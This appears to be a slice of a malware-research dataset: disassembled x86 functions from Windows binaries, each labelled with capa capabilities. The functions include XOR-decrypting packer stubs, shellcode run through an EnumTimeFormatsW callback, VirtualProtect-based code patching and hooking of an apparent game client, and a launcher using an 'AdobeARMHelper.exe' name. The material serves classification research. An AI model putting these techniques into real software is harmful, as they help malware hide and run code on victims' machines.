joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000f5c0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1002f018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push edi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1000f607
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026fb8
mov esp, ebp
pop ebp
ret 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea eax, [ebp - 0x18]
push eax
push 6
lea ecx, [ebp - 0x20]
push ecx
push edi
call ebx
mov edx, 0x1112
cmp word [ebp - 0x20], dx
jne 0x1000f71c
cmp dword [ebp - 0x1e], 0x36
jne 0x1000f71c
cmp byte [ebp + 0xc], 0
push esi
mov esi, 0x100dcdc4
je 0x1000f647
mov esi, 0x100dcdf4
push 0
lea eax, [ebp - 0x18]
push eax
push 0x10
lea ecx, [ebp - 0x14]
push ecx
push edi
call ebx
mov edx, dword [0x100dce24]
xor edx, dword [ebp - 0x14]
push 0
mov dword [esi], edx
mov eax, dword [0x100dce28]
xor eax, dword [ebp - 0x10]
mov dword [esi + 4], eax
mov ecx, dword [0x100dce2c]
xor ecx, dword [ebp - 0xc]
lea eax, [ebp - 0x18]
push eax
mov dword [esi + 8], ecx
mov edx, dword [0x100dce30]
xor edx, dword [ebp - 8]
push 0x10
lea ecx, [ebp - 0x14]
push ecx
push edi
mov dword [esi + 0xc], edx
call ebx
mov edx, dword [0x100dce24]
xor edx, dword [ebp - 0x14]
push 0
mov dword [esi + 0x10], edx
mov eax, dword [0x100dce28]
xor eax, dword [ebp - 0x10]
mov dword [esi + 0x14], eax
mov ecx, dword [0x100dce2c]
xor ecx, dword [ebp - 0xc]
lea eax, [ebp - 0x18]
push eax
mov dword [esi + 0x18], ecx
mov edx, dword [0x100dce30]
xor edx, dword [ebp - 8]
push 0x10
lea ecx, [ebp - 0x14]
push ecx
push edi
mov dword [esi + 0x1c], edx
call ebx
mov edx, dword [0x100dce24]
xor edx, dword [ebp - 0x14]
push edi
mov dword [esi + 0x20], edx
mov eax, dword [0x100dce28]
xor eax, dword [ebp - 0x10]
mov dword [esi + 0x24], eax
mov ecx, dword [0x100dce2c]
xor ecx, dword [ebp - 0xc]
mov dword [esi + 0x28], ecx
mov edx, dword [0x100dce30]
xor edx, dword [ebp - 8]
mov dword [esi + 0x2c], edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
mov al, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026fb8
mov esp, ebp
pop ebp
ret 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop ebx
xor ecx, ebp
xor al, al
pop edi
call fcn.10026fb8
mov esp, ebp
pop ebp
ret 8
Function at 0x100116d0
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x1002f018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
lea edx, [ebp - 0x41c]
mov dword [ebp - method.CCRC32.virtual_0], vtable.CCRC32.0
call fcn.10001ec0
lea eax, [ebp - 0x41c]
push eax
lea esi, [ebx + 0x18ff4]
mov eax, str.DataLocalClientInfo.bmd
call fcn.10002000
test al, al
jne 0x1001172a
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026fb8
mov esp, ebp
pop ebp
ret 4
push edi
push 0
push 0x20
push 3
push 0
push 1
push 0x80000000
push str.DataLocalClientInfo.bmd
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10011786
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x18ff0
jne 0x1001177f
push 0
lea ecx, [ebp - 0x420]
push ecx
push eax
lea esi, [ebx + 4]
push esi
push edi
mov dword [ebp - 0x420], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1001179b
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026fb8
mov esp, ebp
pop ebp
ret 4
mov dword [ebp - 0x18], 0x2b12989e
mov dword [ebp - 0x14], 0x5bf676b6
mov dword [ebp - 0x10], 0xf2084d76
mov dword [ebp - 0xc], 0xb691dfab
mov dword [ebp - 8], 0x2f931c4c
xor ecx, ecx
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
lea edx, [eax + eax*4]
add edx, edx
add edx, edx
mov eax, ecx
sub eax, edx
mov al, byte [ebp + eax - 0x18]
mov edx, ecx
shr edx, 8
xor dl, al
mov dl, byte [esi + ecx]
xor dl, al
xor dl, cl
mov byte [esi + ecx], dl
inc ecx
cmp ecx, 0x18ff0
jb 0x100117c0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10026fb8
mov esp, ebp
pop ebp
ret 4

Function at 0x10011820
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x510
mov eax, dword [0x1002f018]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [edi + 0x114], 0
je 0x100118f3
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1001187c
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
push esi
lea ebx, [edi + 0xd3]
push ebx
lea esi, [ebp - 0x108]
call fcn.100266e0
push eax
call dword [sym.imp.MSVCR100.dll__stricmp]
add esp, 8
test eax, eax
je 0x100118a6
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea edx, [ebp - 0x50c]
mov dword [ebp - method.CCRC32.virtual_0], vtable.CCRC32.0
call fcn.10001ec0
lea edx, [ebp - 0x50c]
push edx
lea esi, [ebp - 0x510]
mov eax, ebx
call fcn.10002000
pop esi
pop ebx
test al, al
jne 0x100118dd
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [edi + 0x114]
cmp eax, dword [ebp - 0x510]
je 0x100118f3
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026fb8
mov esp, ebp
pop ebp
ret
Function at 0x10011910
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10027c0b
mov eax, dword fs:[0]
push eax
sub esp, 0x40c
mov eax, dword [0x1002f018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [edi + 0x118], 0
je 0x100119c2
lea edx, [ebp - 0x414]
mov dword [ebp - method.CCRC32.virtual_0], vtable.CCRC32.0
call fcn.10001ec0
lea eax, [ebp - 0x414]
lea ebx, [edi + 0xf3]
push eax
lea esi, [ebp - 0x418]
mov eax, ebx
mov dword [ebp - 4], 0
call fcn.10002000
test al, al
jne 0x10011988
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [edi + 0x118]
cmp ecx, dword [ebp - 0x418]
je 0x1001199e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x100119b0
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10029dd0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100119c2
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10026fb8
mov esp, ebp
pop ebp
ret

Function at 0x10013340
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x100dd784], 0
je 0x10013446
push esi
push 0x10013450
push 0x520428
push 0xe9
call fcn.10026600
push 0x100134b0
push 0x526a9e
push 0xe9
call fcn.10026600
push 0x100134d0
push 0x43dc93
push 0xe9
call fcn.10026600
push 0x100135f0
push 0x5144dc
push 0xe9
call fcn.10026600
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 0x30
lea eax, [ebp - 4]
push eax
push 0x40
push 0xa
push 0x42398e
call esi
mov eax, 0x90909090
mov ecx, 0x42398e
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov word [ecx + 8], ax
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
push 0xa
push 0x42398e
call esi
push 0x10013620
push 0x42395b
push 0xe9
call fcn.10026600
push 0x10013660
push 0x423fb5
push 0xe8
call fcn.10026600
push 0x10013660
push 0x439bed
push 0xe8
call fcn.10026600
push 0x10013660
push 0x51f953
push 0xe8
call fcn.10026600
push 0x10013660
push 0x520212
push 0xe8
call fcn.10026600
add esp, 0x3c
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10013f30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push fcn.10009d30
push 0x4d6020
push 0xe9
call fcn.10026600
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push 0x4d5c78
call esi
mov ecx, 0x4d5c78
lea edx, [ebp - 4]
push edx
mov dword [ecx], 0x90909090
mov eax, dword [ebp - 4]
push eax
push 4
push ecx
call esi
lea ecx, [ebp - 4]
push ecx
push 0x40
push 4
push 0x4d5cc5
call esi
mov edx, 0x4d5cc5
lea eax, [ebp - 4]
push eax
mov dword [edx], 0x90909090
mov ecx, dword [ebp - 4]
push ecx
push 4
push edx
call esi
push 0x10014000
push 0x4d5c98
push 0xe8
call fcn.10026600
push 0x100140c0
push 0x4d5ca5
push 0xe9
call fcn.10026600
push 0x100141e0
push 0x4d1612
push 0xe9
call fcn.10026600
push 0x10014240
push 0x4d16e9
push 0xe9
call fcn.10026600
add esp, 0x30
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10014300
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 1
push 0x51f053
call esi
lea ecx, [ebp - 4]
push ecx
mov byte [0x51f053], 0xeb
mov edx, dword [ebp - 4]
push edx
push 1
push 0x51f053
call esi
push 0x51f138
push 0x51f0cf
push 0xe9
call fcn.10026600
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x40
push 1
push 0x51f13d
call esi
lea ecx, [ebp - 4]
push ecx
mov byte [0x51f13d], 0x50
mov edx, dword [ebp - 4]
push edx
push 1
push 0x51f13d
call esi
push 0x100144d0
push 0x51f1ae
push 0xe8
call fcn.10026600
push 0x10014500
push 0x4ed016
push 0xe8
call fcn.10026600
push 0x10014590
push 0x51f357
push 0xe8
call fcn.10026600
push 0x10014590
push 0x51f5fd
push 0xe8
call fcn.10026600
push 0x10014590
push 0x51f761
push 0xe8
call fcn.10026600
push 0x10014590
push 0x51f7f7
push 0xe8
call fcn.10026600
add esp, 0x48
push 0x10014600
push 0x51f39e
push 0xe8
call fcn.10026600
push 0x10014600
push 0x51f688
push 0xe8
call fcn.10026600
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push 0x51e8b8
call esi
lea ecx, [ebp - 4]
mov dword [0x51e8b8], 0x11d
mov edx, dword [ebp - 4]
push ecx
push edx
push 4
push 0x51e8b8
call esi
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push 0x51e8a6
call esi
lea ecx, [ebp - 4]
push ecx
mov dword [0x51e8a6], 0x1fe
mov edx, dword [ebp - 4]
push edx
push 4
push 0x51e8a6
call esi
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push 0x51ec90
call esi
lea ecx, [ebp - 4]
push ecx
mov dword [0x51ec90], 0x16d
mov edx, dword [ebp - 4]
push edx
push 4
push 0x51ec90
call esi
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push 0x51ec9b
call esi
lea ecx, [ebp - 4]
push ecx
mov dword [0x51ec9b], 0x1f3
mov edx, dword [ebp - 4]
push edx
push 4
push 0x51ec9b
call esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100153c0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, ecx
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareWebzenMUConfig
push getpeername
mov dword [esi], vtable.CSound.0
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10015421
mov edx, dword [ebp - 4]
push 4
add esi, 4
push esi
push 4
push eax
push str.VolumeLevel
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001e620
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, eax
mov eax, dword [edi + 8]
mov esi, eax
and esi, 7
je 0x1001e646
cmp eax, esi
jge 0x1001e63e
mov eax, edi
call fcn.1001df70
mov ecx, esi
shr dword [edi + 0xc], cl
sub dword [edi + 8], esi
mov esi, dword [edi + 8]
xor eax, eax
test esi, esi
jle 0x1001e66c
mov ecx, dword [edi + 0xc]
mov dl, byte [edi + 0xc]
sub esi, 8
mov byte [ebp + eax - 4], dl
shr ecx, 8
mov ebx, esi
inc eax
mov dword [edi + 0xc], ecx
test ebx, ebx
jg 0x1001e652
mov dword [edi + 8], ebx
cmp dword [edi + 8], 0
jge 0x1001e691
mov eax, dword [0x102f8ca0]
mov ecx, dword fs:[0x2c]
mov edx, dword [ecx + eax*4]
mov dword [edx + 0xc], str.zlib_corrupt
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp eax, 4
jge 0x1001e6ba
mov esi, dword [edi + 4]
lea esp, [esp]
mov ecx, dword [edi]
cmp ecx, esi
jb 0x1001e6aa
xor edx, edx
jmp 0x1001e6b0
movzx edx, byte [ecx]
inc ecx
mov dword [edi], ecx
mov byte [ebp + eax - 4], dl
inc eax
cmp eax, 4
jl 0x1001e6a0
mov eax, dword [ebp - 4]
movzx ecx, byte [ebp - 1]
movzx edx, byte [ebp - 2]
movzx esi, ah
movzx eax, al
shl esi, 8
add esi, eax
shl ecx, 8
mov eax, esi
add ecx, edx
xor eax, 0xffff
cmp ecx, eax
je 0x1001e700
mov ecx, dword [0x102f8ca0]
mov edx, dword fs:[0x2c]
mov eax, dword [edx + ecx*4]
pop edi
pop esi
mov dword [eax + 0xc], str.zlib_corrupt
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [edi]
add ecx, esi
cmp ecx, dword [edi + 4]
jbe 0x1001e728
mov eax, dword fs:[0x2c]
mov edx, dword [0x102f8ca0]
mov ecx, dword [eax + edx*4]
pop edi
pop esi
mov dword [ecx + 0xc], str.read_past_buffer
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0x10]
lea edx, [eax + esi]
cmp edx, dword [edi + 0x18]
jbe 0x1001e742
mov edx, esi
call fcn.1001e090
test eax, eax
je 0x1001e688
mov ebx, dword [edi]
mov eax, dword [edi + 0x10]
push esi
push ebx
push eax
call sub.MSVCR100.dll_memcpy
mov eax, dword [edi + 0x10]
add esp, 0xc
add ebx, esi
add eax, esi
mov dword [edi], ebx
mov dword [edi + 0x10], eax
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10026320
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [0x102f67b0]
test eax, eax
jne 0x10026345
mov eax, dword [0x55c9ffc]
push 0x10026510
push 0xfffffffffffffffc
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov dword [0x102f67b0], eax
test eax, eax
je 0x10026373
mov ecx, dword [0x55c9ffc]
push esi
push ecx
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x10026374
mov edx, dword [0x55c9ffc]
push 5
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
mov esi, 0x102f67a8
call fcn.10026460
pop esi
ret
mov eax, dword [0x55c9ffc]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
mov esi, 0x102f67a8
call fcn.10026460
mov ecx, esi
pop esi
jmp fcn.100263a0

Function at 0x10026570
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 1
push esi
call edi
mov eax, dword [ebp - 4]
mov cl, byte [ebp + 8]
lea edx, [ebp - 4]
push edx
push eax
push 1
push esi
mov byte [esi], cl
call edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x100265a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 4]
push edx
push eax
push 4
push esi
mov dword [esi], ecx
call edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x100265d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push esi
call edi
fld dword [ebp + 8]
mov edx, dword [ebp - 4]
fstp dword [esi]
lea ecx, [ebp - 4]
push ecx
push edx
push 4
push esi
call edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10026600
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp + 8]
push eax
push 0x40
push 5
push esi
call edi
cmp bl, 0xff
je 0x10026624
mov byte [esi], bl
mov ecx, dword [ebp + 0x10]
sub ecx, esi
sub ecx, 5
lea edx, [ebp + 8]
push edx
mov dword [esi + 1], ecx
mov eax, dword [ebp + 8]
push eax
push 5
push esi
call edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10026650
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push edi
call ebx
mov ecx, dword [ebp + 0xc]
push esi
push ecx
push edi
call sub.MSVCR100.dll_memcpy
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push esi
push edi
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10026690
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
xor ecx, ecx
mov word [ebp + 0xc], 0xcffc
mov byte [ebp + 0xe], 0xab
test ebx, ebx
jle 0x100266d6
push esi
push edi
mov edi, eax
sub edi, dword [ebp + 8]
mov edi, edi
mov eax, dword [ebp + 8]
lea esi, [ecx + eax]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 1
lea edx, [edx + edx*2]
mov eax, ecx
sub eax, edx
mov dl, byte [ebp + eax + 0xc]
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, ebx
jl 0x100266b0
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10026780
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1002f018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
xor esi, esi
mov edi, ecx
mov dword [ebp - 0x14], 0xf65273d1
mov dword [ebp - 0x10], 0x27cb9ad2
mov dword [ebp - 0xc], 0x3159af3e
mov dword [ebp - 8], 0xa2e7b337
mov ecx, 0x5e
test edx, edx
jle 0x100267ea
sub edi, eax
push ebx
mov ebx, esi
and ebx, 0xf
mov bl, byte [ebp + ebx - 0x14]
xor bl, byte [eax]
inc esi
sub bl, cl
mov byte [edi + eax], bl
movzx ecx, byte [eax]
add cx, 0x3d
mov ebx, 0xff
and cx, bx
inc eax
movzx ecx, cx
cmp esi, edx
jl 0x100267c1
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10026fb8
mov esp, ebp
pop ebp
ret

Function at 0x10026ad0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push eax
push str.SoftwareWebzenMUConfig
push getpeername
mov dword [0x102f85fc], 0x1002c0e4
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x10026b31
mov edx, dword [ebp - 4]
lea ecx, [ebp - 8]
push ecx
push 0x102f8604
push eax
push eax
push str.WindowMode
push edx
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10026b27
mov dword [0x102f8604], 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x102f85fc
mov esp, ebp
pop ebp
ret
Function at 0x10026b70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x102f6e90]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 4]
push ecx
push 0x40
push 4
push 0x55237c
mov dword [0x102f8600], eax
call esi
lea edx, [ebp - 4]
push edx
mov dword [0x55237c], 0x10026c80
mov eax, dword [ebp - 4]
push eax
push 4
push 0x55237c
call esi
push 0x41eec6
push 0x41ed79
push 0xe9
call fcn.10026600
push 0x10026dd0
push 0x41dff0
push 0xe9
call fcn.10026600
add esp, 0x18
cmp dword [0x102f8604], 0
pop esi
je 0x10026bfb
push 0x421b0b
push 0x41f617
push 0xe9
call fcn.10026600
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x10026fb8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1002f018]
jne 0x10026fc2
repz ret
jmp fcn.10027475

Function at 0x10001000
Capabilities:
Encode data using xor

Disassembly:
xor edx, edx
mov cl, byte [edx + section..data]
mov al, 0xde
xor cl, 0xf
sub cl, dl
add cl, 0x20
xor cl, dl
not cl
add cl, dl
ror cl, 3
sub al, cl
xor al, dl
sub al, dl
xor al, dl
sub al, 0x80
mov byte [edx + section..data], al
inc edx
cmp edx, 0x1a05
jb 0x10001002
push 0
push 0
push section..data
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
ret
Function at 0x4096c0
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x40], eax
xor eax, eax
mov word [ebp - 0x248], ax
push 0x206
push 0
lea ecx, [ebp - 0x246]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
xor edx, edx
mov word [ebp - 0x450], dx
push 0x206
push 0
lea eax, [ebp - 0x44e]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.MSVCR90.dll_wcslen]
add esp, 4
test eax, eax
jbe 0x40974f
mov edx, dword [ebp + 0xc]
push edx
push 0x104
lea eax, [ebp - 0x450]
push eax
call fcn.004062c0
push 0x40b3b4
push 0x104
lea ecx, [ebp - 0x450]
push ecx
call fcn.00406310
jmp 0x40979e
lea edx, [ebp - 0x450]
push edx
push 0
push 0
push 0x2b
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x409780
push 0x40b3b8
push 0x104
lea eax, [ebp - 0x450]
push eax
call fcn.00406310
jmp 0x40979e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x40b3d8
push str.SHGetFolderPath_failed
call fcn.004080a0
add esp, 0xc
jmp 0x409874
lea ecx, [ebp - 0x450]
push ecx
push 0x104
lea edx, [ebp - 0x248]
push edx
call fcn.004062c0
push str.AdobeARMHelper.exe
push 0x104
lea eax, [ebp - 0x248]
push eax
call fcn.00406310
push 0xffffffffffffffff
lea ecx, [ebp - 0x248]
push ecx
call fcn.004095f0
add esp, 8
test eax, eax
jne 0x4097fc
push 0x357
lea edx, [ebp - 0x248]
push edx
push str.Service_workflow_failed__file_not_valid:
call fcn.004080a0
add esp, 0xc
jmp 0x409874
mov dword [ebp - 0x3c], 0
push 0x38
push 0
lea eax, [ebp - 0x38]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x540
mov dword [ebp - 0x20], 5
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x28], ecx
lea edx, [ebp - 0x248]
mov dword [ebp - 0x2c], edx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x40985b
push 0
push 0x40b48c
push str.ShellExecuteEx_succeeded
call fcn.004080a0
add esp, 0xc
jmp 0x409874
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x40b4c4
push str.ShellExecuteEx_failed
call fcn.004080a0
add esp, 0xc
mov ecx, dword [ebp - 0x40]
xor ecx, ebp
call fcn.00407458
mov esp, ebp
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40729f
nop
nop
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x5d212f7d
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x7fb2491a
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219